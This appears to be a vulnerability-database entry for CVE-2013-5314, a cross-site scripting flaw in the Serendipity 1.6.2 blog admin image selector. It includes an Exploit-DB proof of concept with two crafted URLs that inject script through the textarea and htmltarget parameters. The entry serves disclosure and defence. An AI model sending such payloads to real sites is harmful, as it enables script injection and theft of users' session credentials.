CVE-2013-5314

medium
Published 2013-08-19 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
5.3

Description

Cross-site scripting (XSS) vulnerability in serendipity_admin_image_selector.php in Serendipity 1.6.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the serendipity[htmltarget] parameter.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-38642 webapps php verified text ยท 1 KB
Omar Kurt ยท 2013-07-12

S9Y Serendipity 1.6.2 - 'serendipity_admin_image_selector.php' Cross-Site Scripting

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/61138/info

Serendipity is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Serendipity 1.6.2 is vulnerable; other versions may also be affected. 

http://www.example.com/serendipity_admin_image_selector.php?serendipity%5Btextarea%5D=%27%2Balert(0x000887)%2B%27&serendipity%5Baction%5D=208.100.0.117
&serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117
&serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117

http://www.example.com/serendipity_admin_image_selector.php?serendipity%5Bhtmltarget%5D=%27%2Balert(0x000A02)%2B%27&serendipity%5Baction%5D=208.100.0.117&serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117&serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117 

Application impact

VendorProductVersionsFixed
s9yserendipity{"endIncluding":"1.6.2"}
s9yserendipity0.3
s9yserendipity0.4
s9yserendipity0.7
s9yserendipity0.7.1
s9yserendipity0.8
s9yserendipity0.8.1
s9yserendipity0.8.2
s9yserendipity0.8.3
s9yserendipity0.8.4
s9yserendipity0.8.5
s9yserendipity0.9
s9yserendipity0.9.1
s9yserendipity1.0
s9yserendipity1.0.1
s9yserendipity1.0.2
s9yserendipity1.0.3
s9yserendipity1.0.4
s9yserendipity1.1
s9yserendipity1.1.1
s9yserendipity1.1.2
s9yserendipity1.1.3
s9yserendipity1.1.4
s9yserendipity1.2
s9yserendipity1.2.1
s9yserendipity1.3
s9yserendipity1.3.1
s9yserendipity1.4
s9yserendipity1.4.1
s9yserendipity1.5.1
s9yserendipity1.5.2
s9yserendipity1.5.3
s9yserendipity1.5.4
s9yserendipity1.5.5
s9yserendipity1.6
s9yserendipity1.6.1

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.